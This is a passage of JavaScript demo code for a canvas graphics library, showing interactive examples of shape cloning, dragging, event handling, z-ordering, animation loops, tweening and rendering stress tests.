var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var newRect, i = 0;
var label = new Canvas2d.DisplayObjects('label', false);
label.text('Clone by Clicking It and Drag It where you Want', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
label.x = label.y = 20;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(0, 0, 100, 100, 'lightsteelblue');
rect.x = rect.y = 60;
rect.addEvent('click', cloneIt);
rect.addEvent('mouseover', mOver);
rect.addEvent('mouseout', mOut);
rect.addEvent('dragstart', dragSIt);
rect.addEvent('drag', dragIt);
sprite.add(label);
sprite.add(rect);
stage.add(sprite);
stage.draw();
function mOver() {
stage.container.style.cursor = 'pointer';
}
function mOut() {
stage.container.style.cursor = 'default';
}
function cloneIt(e){
newRect = rect.clone('newRect_' + i++);
newRect.color = Colors.RandomRgb();
newRect.x = e.target.x + 10;
newRect.y = e.target.y + 10;
sprite.add(newRect);
e.target.parent.draw();
}
function dragIt(e){
e.target.x = e.mouse.ox;
e.target.y = e.mouse.oy;
e.target.parent.draw();
}
function dragSIt(e){
e.target.zOrder('top');
}
},
addEvent: function(c, w, h, params) {
var eventList = ['click', 'mouseover', 'mouseout', 'dragstart', 'drag', 'dragstop', 'mousedown', 'mouseup', 'mousemove'];
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var labelContainer = new Canvas2d.Sprite('label container', false);
var label;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
sprite.add(rect);
stage.add(labelContainer);
stage.add(sprite);
for (var i = 0; i < eventList.length; i++) {
rect.addEvent(eventList[i], eval(eventList[i]));
label = new Canvas2d.DisplayObjects(eventList[i]);
label.text('Current event:', 0, 0, 'normal', 20, 'Helvetica', 'black', null, 'start', 'top');
label.x = 20;
label.y = 20 + (30 * i);
rect[eventList[i]] = label;
labelContainer.add(label);
}
function click(e) {
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function mouseover(e) {
e.target.mouseout.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function mouseout(e) {
e.target.mousemove.txt = 'Current event: ';
e.target.mouseover.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function dragstart(e) {
e.target.dragstop.txt = 'Current event: ';
e.target.mousemove.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function drag(e) {
e.target.dragstop.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
rect.x = e.mouse.ox;
rect.y = e.mouse.oy;
stage.draw();
}
function dragstop(e) {
e.target.dragstart.txt = 'Current event: ';
e.target.drag.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function mousedown(e) {
e.target.mouseup.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function mouseup(e) {
e.target.mousedown.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function mousemove(e) {
e.target.mousedown.txt = 'Current event: ';
e.target.mouseup.txt = 'Current event: ';
e.target.click.txt = 'Current event: ';
e.target.dragstop.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
stage.draw();
},
removeEvent: function(c, w, h, params) {
var eventList = ['click', 'mouseover', 'mouseout', 'dragstart', 'drag', 'dragstop', 'mousedown', 'mouseup', 'mousemove'];
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var labelContainer = new Canvas2d.Sprite('label container', false);
var evtRemover = new Canvas2d.Sprite('label remover');
var label, eventRemove;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
sprite.add(rect);
stage.add(labelContainer);
stage.add(evtRemover);
stage.add(sprite);
for (var i = 0; i < eventList.length; i++) {
rect.addEvent(eventList[i], eval(eventList[i]));
label = new Canvas2d.DisplayObjects(eventList[i]);
label.text('Current event:', 0, 0, 'normal', 20, 'Helvetica', 'black', null, 'start', 'top');
label.x = 20;
label.y = 20 + (30 * i);
rect[eventList[i]] = label;
labelContainer.add(label);
eventRemove = label.clone(eventList[i]);
eventRemove.txt = eventList[i];
eventRemove.align = 'right';
eventRemove.x = stage.width - 20;
eventRemove.y = eventRemove.height + (30 * i);
eventRemove.addEvent('click', addRemove);
eventRemove.addEvent('mouseover', mOver);
eventRemove.addEvent('mouseout', mOut);
evtRemover.add(eventRemove);
}
function click(e) {
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function mouseover(e) {
e.target.mouseout.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function mouseout(e) {
e.target.mousemove.txt = 'Current event: ';
e.target.mouseover.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function dragstart(e) {
e.target.dragstop.txt = 'Current event: ';
e.target.mousemove.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function drag(e) {
e.target.dragstop.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
rect.x = e.mouse.ox;
rect.y = e.mouse.oy;
stage.draw();
}
function dragstop(e) {
e.target.dragstart.txt = 'Current event: ';
e.target.drag.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function mousedown(e) {
e.target.mouseup.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function mouseup(e) {
e.target.mousedown.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function mousemove(e) {
e.target.mousedown.txt = 'Current event: ';
e.target.mouseup.txt = 'Current event: ';
e.target.click.txt = 'Current event: ';
e.target.dragstop.txt = 'Current event: ';
e.target[e.type].txt = 'Current event: ' + e.type;
stage.draw();
}
function addRemove(e) {
if (e.target.name in rect.evtListeners) {
if (eval(e.target.name) === rect.evtListeners[e.target.name].func[0]) {
rect.removeEvent(e.target.name, eval(e.target.name));
rect[e.target.name].txt = e.target.name + ' event removed';
rect[e.target.name].color = 'red';
}
} else {
rect.addEvent(e.target.name, eval(e.target.name));
rect[e.target.name].txt = e.target.name + ' event added';
rect[e.target.name].color = 'black';
}
stage.draw();
}
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightblue';
evtRemover.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
evtRemover.draw();
}
stage.draw();
},
add: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, Colors.RandomRgb());
var circle = new Canvas2d.DisplayObjects('circle');
circle.circle(0, 0, 50, 0, Math.PI * 2, Colors.RandomRgb());
var x, y;
var label = new Canvas2d.DisplayObjects('addobject');
label.text('Add Object', 0, 0, 'normal', 20, 'Helvetica', 'black', null, 'start', 'top');
label.x = 20;
label.y = 20;
label.addEvent('click', addObj);
label.addEvent('mouseover', mOver);
label.addEvent('mouseout', mOut);
sprite.add(label);
stage.add(sprite);
stage.draw();
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightblue';
sprite.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
sprite.draw();
}
function addObj(e) {
var randomObject;
x = Math.random() * (stage.width - 100) + 50;
y = Math.random() * (stage.height - 100) + 50;
if (Math.random() * 2 < 1) {
randomObject = rect.clone();
randomObject.color = Colors.RandomRgb();
randomObject.x = x;
randomObject.y = y;
} else {
randomObject = circle.clone();
randomObject.color = Colors.RandomRgb();
randomObject.x = x;
randomObject.y = y;
}
sprite.add(randomObject);
stage.draw();
}
},
remove: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, Colors.RandomRgb());
var circle = new Canvas2d.DisplayObjects('circle');
circle.circle(0, 0, 50, 0, Math.PI * 2, Colors.RandomRgb());
var x, y, label2;
var label = new Canvas2d.DisplayObjects('addobject');
label.text('Add Objects', 0, 0, 'normal', 20, 'Helvetica', 'black', null, 'start', 'top');
label2 = label.clone('label2');
label2.align = 'center';
label2.baseLine = 'alphabetic';
label2.enabledEvent = false;
label2.visible = false;
label.x = 20;
label.y = 20;
label.addEvent('click', addObj);
label.addEvent('mouseover', mOver);
label.addEvent('mouseout', mOut);
sprite.add(label2);
sprite.add(label);
stage.add(sprite);
stage.draw();
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightblue';
sprite.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
sprite.draw();
}
function rOut(e) {
stage.container.style.cursor = 'default';
label2.visible = false;
label2.x = 0;
label2.y = 0;
label2.txt = '';
sprite.draw();
}
function rOver(e) {
stage.container.style.cursor = 'pointer';
label2.x = e.target.x;
label2.y = e.target.y - 10;
label2.txt = 'Remove';
label2.visible = true;
sprite.draw();
}
function removeObj(e) {
rOut(e);
e.target.removeEvent('mouseout', rOut);
label2.visible = false;
sprite.remove(e.target);
stage.draw();
}
function addObj() {
for (var i = 0; i < Math.random() * 30; i++) {
var randomObject;
x = Math.random() * (stage.width - 100) + 50;
y = Math.random() * (stage.height - 100) + 50;
if (Math.random() * 2 < 1) {
randomObject = rect.clone();
randomObject.color = Colors.RandomRgb();
randomObject.x = x;
randomObject.y = y;
} else {
randomObject = circle.clone();
randomObject.color = Colors.RandomRgb();
randomObject.x = x;
randomObject.y = y;
}
randomObject.addEvent('click', removeObj);
randomObject.addEvent('mouseover', rOver);
randomObject.addEvent('mouseout', rOut);
sprite.add(randomObject);
}
label2.zOrder('top');
stage.draw();
}
addObj();
},
zOrder: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var sprite2 = new Canvas2d.Sprite('sprite2');
var sprite3 = new Canvas2d.Sprite('sprite3');
var orders = 'top', ordero = 'top', rectObj;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue', 'red', 2);
rect.x = stage.width / 2;
rect.y = stage.height / 2;
rect.addEvent('mouseover', mOvero);
rect.addEvent('mouseout', mOuto);
rect.addEvent('click', zOrderObject);
for (var i = 0; i < 4; i++) {
rectObj = rect.clone();
rectObj.color = Colors.RandomRgb();
rectObj.x = ((stage.width / 2) - 100) + (50 * (i > 2 ? i - 2 : i));
rectObj.y = ((stage.height / 2) - 50) + (50 * (i > 1 ? 1 : 0));
sprite2.add(rectObj);
rectObj = rect.clone();
rectObj.color = Colors.RandomRgb();
rectObj.lineColor = 'blue';
rectObj.x = ((stage.width / 2) - 100) + (50 * (i > 2 ? i - 2 : i));
rectObj.y = ((stage.height / 2) - 50) + (50 * (i > 1 ? 1 : 0));
sprite3.add(rectObj);
}
sprite3.x = 10;
sprite3.y = -20;
sprite3.addEvent('drag', drag);
sprite2.addEvent('drag', drag);
var label = new Canvas2d.DisplayObjects('addobject');
label.text('zOrder Sprite', 0, 0, 'normal', 20, 'Helvetica', 'black', null, 'start', 'top');
label.x = 20;
label.y = 20;
label.addEvent('mouseover', mOver);
label.addEvent('mouseout', mOut);
label.addEvent('click', zOrderSprite);
sprite.add(label);
stage.add(sprite);
stage.add(sprite2);
stage.add(sprite3);
stage.draw();
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function mOvero(e) {
stage.container.style.cursor = 'pointer';
}
function mOuto(e) {
stage.container.style.cursor = 'default';
}
function drag(e) {
e.target.x = e.mouse.ox;
e.target.y = e.mouse.oy;
e.target.parent.draw();
}
function zOrderSprite(e) {
sprite2.zOrder(orders);
orders = orders === 'top' ? 'bottom' : 'top';
}
function zOrderObject(e) {
ordero = e.target.index === e.target.parent.children.length - 1 ? 'bottom' : 'top';
e.target.zOrder(ordero);
e.target.parent.draw();
}
},
clear: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var spriteLabel = new Canvas2d.Sprite('mainlabel');
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, Colors.RandomRgb());
var circle = new Canvas2d.DisplayObjects('circle');
circle.circle(0, 0, 50, 0, Math.PI * 2, Colors.RandomRgb());
var x, y, clearCanvas;
var label = new Canvas2d.DisplayObjects('addobject');
label.text('Add Object', 0, 0, 'normal', 20, 'Helvetica', 'black', null, 'start', 'top');
label.x = 20;
label.y = 20;
label.addEvent('mouseover', mOver);
label.addEvent('mouseout', mOut);
clearCanvas = label.clone('clearcanvas');
clearCanvas.txt = 'Clear Canvas';
clearCanvas.y = 60;
clearCanvas.addEvent('click', clearAll);
label.addEvent('click', addObj);
spriteLabel.add(clearCanvas);
sprite.add(label);
stage.add(sprite);
stage.add(spriteLabel);
stage.draw();
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function addObj(e) {
var randomObject;
x = Math.random() * (stage.width - 100) + 50;
y = Math.random() * (stage.height - 100) + 50;
if (Math.random() * 2 < 1) {
randomObject = rect.clone();
randomObject.color = Colors.RandomRgb();
randomObject.x = x;
randomObject.y = y;
} else {
randomObject = circle.clone();
randomObject.color = Colors.RandomRgb();
randomObject.x = x;
randomObject.y = y;
}
sprite.add(randomObject);
sprite.draw();
}
function clearAll(e) {
e.target.txt = e.target.txt === 'Draw' ? 'Clear Canvas' : 'Draw';
label.visible = label.visible === false ? true : false;
sprite.clear();
if (label.visible === true)
sprite.draw();
e.target.parent.draw();
}
},
draw: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('main');
var spriteLabels = new Canvas2d.Sprite('labels');
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, Colors.RandomRgb());
var circle = new Canvas2d.DisplayObjects('circle');
circle.circle(0, 0, 50, 0, Math.PI * 2, Colors.RandomRgb());
var x, y, label2, label3, n = 0;
var label = new Canvas2d.DisplayObjects('addobject');
label.text('Add Objects', 0, 0, 'normal', 20, 'Helvetica', 'black', null, 'start', 'top');
label.x = 20;
label3 = label.clone('label3');
label3.txt = 'Number of objects: ';
label3.y = 100;
label.addEvent('mouseover', mOver);
label.addEvent('mouseout', mOut);
label2 = label.clone('label2');
label2.txt = 'Draw';
label2.y = 60;
label2.addEvent('click', drawObj);
label.y = 20;
label.addEvent('click', addObj);
label3.enabledEvent = false;
spriteLabels.add(label2);
spriteLabels.add(label3);
spriteLabels.add(label);
stage.add(sprite);
stage.add(spriteLabels);
stage.draw();
function mOver(e) {
stage.container.style.cursor = 'pointer';
e.target.color = 'lightblue';
e.target.parent.draw();
}
function mOut(e) {
stage.container.style.cursor = 'default';
e.target.color = 'black';
e.target.parent.draw();
}
function drawObj(e) {
e.target.txt = e.target.txt === 'Draw' ? 'Clear' : 'Draw';
if (e.target.txt === 'Clear') {
sprite.draw();
} else {
sprite.clear();
}
e.target.parent.draw();
}
function addObj() {
for (var i = 0; i < Math.random() * 30; i++) {
var randomObject;
x = Math.random() * (stage.width - 200) + 100;
y = Math.random() * (stage.height - 100) + 50;
if (Math.random() * 2 < 1) {
randomObject = rect.clone();
randomObject.color = Colors.RandomRgb();
randomObject.x = x;
randomObject.y = y;
} else {
randomObject = circle.clone();
randomObject.color = Colors.RandomRgb();
randomObject.x = x;
randomObject.y = y;
}
sprite.add(randomObject);
}
n += i;
label3.txt = 'Number of objects: ' + n;
spriteLabels.draw();
}
addObj();
},
getFrame: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h, false);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var label = new Canvas2d.DisplayObjects('label');
label.text('Current Frame Number', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
label.x = 140;
label.y = 40;
sprite.add(rect);
sprite.add(label);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
label.txt = 'Current Frame Number: ' + stage.getFrame();
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
},
getTime: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h, false);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var label = new Canvas2d.DisplayObjects('label');
label.text('Current Time Elapsed', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
label.x = 140;
label.y = 40;
sprite.add(rect);
sprite.add(label);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
label.txt = 'Current Time Elapsed: ' + stage.getTime() + 'Mls';
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
},
getFps: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h, false);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var label = new Canvas2d.DisplayObjects('label');
label.text('Current Frame Per Second', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
label.x = 140;
label.y = 40;
sprite.add(rect);
sprite.add(label);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
label.txt = 'Current Frame Per Second: ' + parseInt(stage.getFps()) + 'Fps';
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
},
getTimeInterval: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h, false);
var stats = new Stats();
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var sprite = new Canvas2d.Sprite('main');
var step = 4, x = step;
var rect = new Canvas2d.DisplayObjects('rect');
rect.rect(-50, -50, 100, 100, 'lightsteelblue');
rect.x = stage.width / 2;
rect.y = stage.height / 2;
var label = new Canvas2d.DisplayObjects('label');
label.text('Current Interval Time', 0, 0, 'normal', 22, 'Helvetica', 'black', null, 'start', 'top');
label.x = 140;
label.y = 40;
sprite.add(rect);
sprite.add(label);
stage.add(sprite);
stage.draw();
function loop() {
stats.begin();
label.txt = 'Current Interval Time: ' + stage.getTimeInterval() + 'Mls';
if (rect.x > stage.width - rect.width) {
x = -step;
} else if (rect.x < rect.width) {
x = step;
}
rect.x += x;
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
}
}
},
Stage: {
examples: {
stars: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('txt_container');
var sr = new Canvas2d.Sprite('');
var twe = new Canvas2d.Tweener();
var star = new Canvas2d.DisplayObjects('star_0');
var points = [], g = 10, r1 = 18, r2 = 32;
var step = (Math.PI * 2) / g, x = 0, y = 0, r = r1, drag = false;
var coord = [
[1, 1], [2, 1], [3, 1], [4, 1],
[1, 2], [2, 2], [3, 2], [4, 2],
[1, 3], [2, 3], [3, 3], [4, 3]
];
for (var i = 0; i < g; i++) {
x = Math.cos((step * i) + step / 2) * r;
y = Math.sin((step * i) + step / 2) * r;
points.push([x, y]);
r = r === r1 ? r2 : r1;
}
star.polygon(0, 0, points, null);
star.x = stage.width / 2;
star.height = stage.height / 2;
star.shadow = {color: 'rgba(119,136,153,0.5)',
offsetX: 6, offsetY: 6, blur: 10};
star.addEvent('dragstart', dStart);
star.addEvent('drag', dDrag);
star.addEvent('dragstop', dStop);
star.addEvent('mouseover', mOver);
star.addEvent('mouseout', mOut);
function dStart(e) {
drag = false;
e.target.zOrder('top');
twe.addTweener(e.target, {shadow: {offsetX: 20, offsetY: 20, blur: 30},
scaleX: 2, scaleY: 2, rotation: 2,
duration: 1000, ease: 'easeOutElastic', onEnd: endtwe});
}
function endtwe(e) {
drag = true;
}
function dDrag(e) {
e.target.x = Math.round(e.mouse.ox);
e.target.y = Math.round(e.mouse.oy);
if (drag) {
e.target.parent.draw();
}
}
function dStop(e) {
drag = false;
twe.addTweener(e.target, {x: e.target.data.x, y: e.target.data.y,
shadow: {offsetX: 6, offsetY: 6, blur: 10},
scaleX: 1, scaleY: 1, rotation: 0,
duration: 800, ease: 'easeOutElastic'});
}
function mOver(e) {
stage.container.style.cursor = 'pointer';
}
function mOut(e) {
stage.container.style.cursor = 'default';
}
for (i = 0; i < 11; i++) {
var s = star.clone('star_' + i);
sprite.add(s);
}
sprite.add(star);
stage.add(sr);
stage.add(sprite);
sr.draw();
for (i = 0; i < sprite.children.length; i++) {
var xd = coord[i][0] * (stage.width / 5),
yd = coord[i][1] * (stage.height / 4);
sprite.children[i].x += (Math.cos((Math.PI / 6) * i) * 200);
sprite.children[i].y = Math.sin((Math.PI / 6) * i) * 200;
sprite.children[i].gradient = {'offset': [0, 1],
'color': ['gold', 'lightseagreen'],
'type': 'radial',
'coord': {'x0': -(coord[i][0] + 3), 'y0': -(coord[i][1] + 3), 'r0': 0,
'x1': 0, 'y1': 0, 'r1': r2 * 2}};
sprite.children[i].data = {x: xd, y: yd};
twe.addTweener(sprite.children[i], {x: xd, y: yd,
ease: 'easeOutBounce', delay: 100 * i, duration: 1000});
}
},
multyAnimation: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h, false);
var sprite = new Canvas2d.Sprite('sprite_0');
var label = new Canvas2d.DisplayObjects('label1'), lb;
label.text('STAGE 1', 0, 0, 'bold', 120, 'Helvetica', 'lightblue', null, 'center', 'middle');
label.x = stage.width / 2;
label.y = stage.height / 2;
lb = label.clone('label2');
lb.txt = 'STAGE 2';
var background = new Canvas2d.DisplayObjects('back'), bg;
background.rect(0, 0, w, h, 'lightsteelblue');
background.alpha = 0.6;
bg = background.clone('back2');
var rect = new Canvas2d.DisplayObjects('rect_0');
rect.rect(0, 0, 40, 40, 'lightseagreen');
rect.x = Math.random() * stage.width;
rect.y = Math.random() * stage.height;
sprite.add(background);
sprite.add(label);
sprite.add(rect);
stage.add(sprite);
stage.draw();
//same process different container
//div id=container,div id=container2
var container = document.createElement('div');
container.id = 'examples2';
container.style.left = w + 60 + 'px';
container.style.top = 0 + 'px';
stage.container.parentNode.appendChild(container);
var stage2 = new Canvas2d.Stage('examples2', w, h, false);
var sprite2 = new Canvas2d.Sprite('sprite_2');
sprite2.add(bg);
sprite2.add(lb);
stage2.add(sprite2);
stage2.draw();
var offset1 = stage.container.offsetTop + stage.height;
var offset2 = stage2.container.offsetTop;
var gap = offset2 - offset1;
var step = Math.random() * 8 + 4, x = step;
var stepx = Math.random() * 8 + 4, y = stepx;
function loop() {
if (rect.x > stage.width && sprite2.children.length === 2 && x > 0) {
sprite.remove(rect);
sprite.draw();
sprite2.add(rect);
rect.x = -60;
x = step;
} else if (rect.x + rect.width > stage.width && sprite2.children.length > 2) {
x = -step;
} else if (rect.x + rect.width < 1 && sprite2.children.length > 2 && x < 0) {
sprite2.remove(rect);
sprite2.draw();
sprite.add(rect);
rect.x = stage.width + 60;
x = -step;
} else if (rect.x < 1 && sprite.children.length > 2) {
x = step;
}
if (rect.y + rect.height > stage.height) {
y = -step;
} else if (rect.y < 1) {
y = step;
}
rect.x += x;
rect.y += y;
rect.parent.draw();
}
stage.addLoop(rect, loop);
},
mobile: function(c, w, h, params) {
var stage = new Canvas2d.Stage(c, w, h);
var sprite = new Canvas2d.Sprite('sprite_0');
var rect = new Canvas2d.DisplayObjects('rect_0');
rect.rect(-50, -50, 100, 100, 'lightseagreen', 'lightblue', 4);
rect.y = rect.x = 0;
stage.x = stage.width / 2;
stage.y = stage.height / 2;
sprite.add(rect);
stage.add(sprite);
stage.draw();
stage.addEvent('gesturechange', gChange);
function gChange(e) {
e.target.scaleX = e.target.scaleY = e.mouse.scale;
e.target.rotation = e.mouse.angle;
e.target.draw();
}
},
stressTestLoop: function(c, w, h, params) {
var stats = new Stats(), i, n = 1000, element, x, y, range = 0, r = h / 2, step = (Math.PI*2) / 360;
var stage = new Canvas2d.Stage(c, w, h);
stats.domElement.style.top = '0px';
stats.domElement.style.left = '0px';
stats.domElement.style.position = 'absolute';
stage.container.parentNode.appendChild(stats.domElement);
var layerTop = new Canvas2d.Sprite("top");
var start = new Canvas2d.DisplayObjects('start');
start.text('Start', 0, 0, 'normal', 20, 'Helvetica', 'black', null, 'start', 'ideographic');
start.x = 20;
start.y = stage.height - 30;
var stop, plus, minus, label;
label = start.clone('label');
label.align = 'right';
label.enabledEvent = false;
label.txt = 'Number of Elemenets: ' + n;
label.x = stage.width - 20;
start.addEvent('mouseover', mOver);
start.addEvent('mouseout', mOut);
start.addEvent('click', click);
stop = start.clone('stop');
stop.txt = 'Stop';
stop.x = start.x + start.width + 20;
plus = start.clone('plus');
plus.txt = ' + 1000';
plus.x = stop.x + stop.width + 20;
minus = start.clone('minus');
minus.txt = ' - 1000';
minus.x = plus.x + 80;
layerTop.add(label);
layerTop.add(start);
layerTop.add(stop);
layerTop.add(plus);
layerTop.add(minus);
var sprite = new Canvas2d.Sprite("main", false);
function placeElements(n, s){
range = 0;
for(i = 0; i < n; i++){
element = new Canvas2d.DisplayObjects();
r = ((h / 2) / n) * i;
x = (stage.width / 2) + (Math.cos(range) * r);
y = (stage.height / 2) + (Math.sin(range) * r);
element.circle(0, 0, 5 * (i / n + 1), 0, Math.PI * 2, Colors.RandomRgb());
element.x = x;
element.y = y;
s.add(element);
range += step;
}
}
placeElements(n, sprite);
stage.add(sprite);
stage.add(layerTop);
stage.draw();
function loop() {
stats.begin();
for (var i = 0; i < sprite.children.length; i++) {
if (sprite.children[i].x >= stage.width) {
sprite.children[i].x = (-sprite.children[i].radius);
}
sprite.children[i].x += sprite.children[i].radius;
}
stage.draw();
stats.end();
}
stage.addLoop(sprite, loop);
function mOver(e) {
stage.container.style.cursor = 'pointer';
}
function mOut(e) {
stage.container.style.cursor = 'default';
}
function click(e){
switch(e.target.name){
case 'start':
stage.addLoop(sprite, loop);
break;
case 'stop':
stage.removeLoop(sprite, loop);
break;
case 'plus':
n = n === 10000 ? 10000 : n + 1000;
for(i = sprite.children.length-1; i > -1; i--){
sprite.remove(sprite.children[i]);
}
placeElements(n, sprite);
label.txt = 'Number of Elemenets: ' + n;
label.parent.draw();
break;
case 'minus':
n = n === 1000 ? 1000 : n - 1000;
for(i = sprite.children.length-1; i > -1; i--){
sprite.remove(sprite.children[i]);
}
placeElements(n, sprite);
label.txt = 'Number of Elemenets: ' + n;
label.parent.draw();
break;
default:
break;
}
}
},
stressTestDraw: function(c, w, h, params) {
var i, n = 1000, element,col = 0, row = 0, r, label, minus, start = (new Date()).getTime(), stop;
var stage = new Canvas2d.Stage(c, w, h);
var layerTop = new Canvas2d.Sprite("top");
var plus = new Canvas2d.DisplayObjects('plus');
plus.text(' + 1000', 0, 0, 'normal', 20, 'Helvetica', 'black', {color : 'rgba(255, 255, 255, 150)'}, 'start', 'ideographic');
plus.x = 20;
plus.y = stage.height - 30;
label = plus.clone('label');
label.align = 'right';
label.enabledEvent = false;
label.txt = 'Number of Elemenets: ' + n;
label.x = stage.width - 20;
plus.addEvent('mouseover', mOver);
plus.addEvent('mouseout', mOut);
plus.addEvent('click', click);
minus = plus.clone('minus');
minus.txt = ' - 1000';
minus.x = plus.x + plus.width + 20;
layerTop.add(label);
layerTop.add(plus);
layerTop.add(minus);
var sprite = new Canvas2d.Sprite("main", false);
function placeElements(n, s){
row = 0;
col = 0;
r = Math.sqrt((w * h) / n) / 2;
for(i = 0; i < n; i++){
row += r * 2;
element = new Canvas2d.DisplayObjects();
element.circle(0, 0, r, 0, Math.PI * 2, Colors.RandomRgb());
element.x = row;
element.y = (r * 2) * col;
s.add(element);
row = row > stage.width - (r * 2) ? 0 : row;
col = row === 0 ? col + 1 : col;
}
}
placeElements(n, sprite);
stage.add(sprite);
stage.add(layerTop);
stage.draw();
stop = (new Date()).getTime();
label.txt = 'Number of Elemenets: ' + n + ' Time Elapsed: ' + (stop - start) + ' Mls';
label.parent.draw();
function mOver(e) {
stage.container.style.cursor = 'pointer';
}
function mOut(e) {
stage.container.style.cursor = 'default';
}
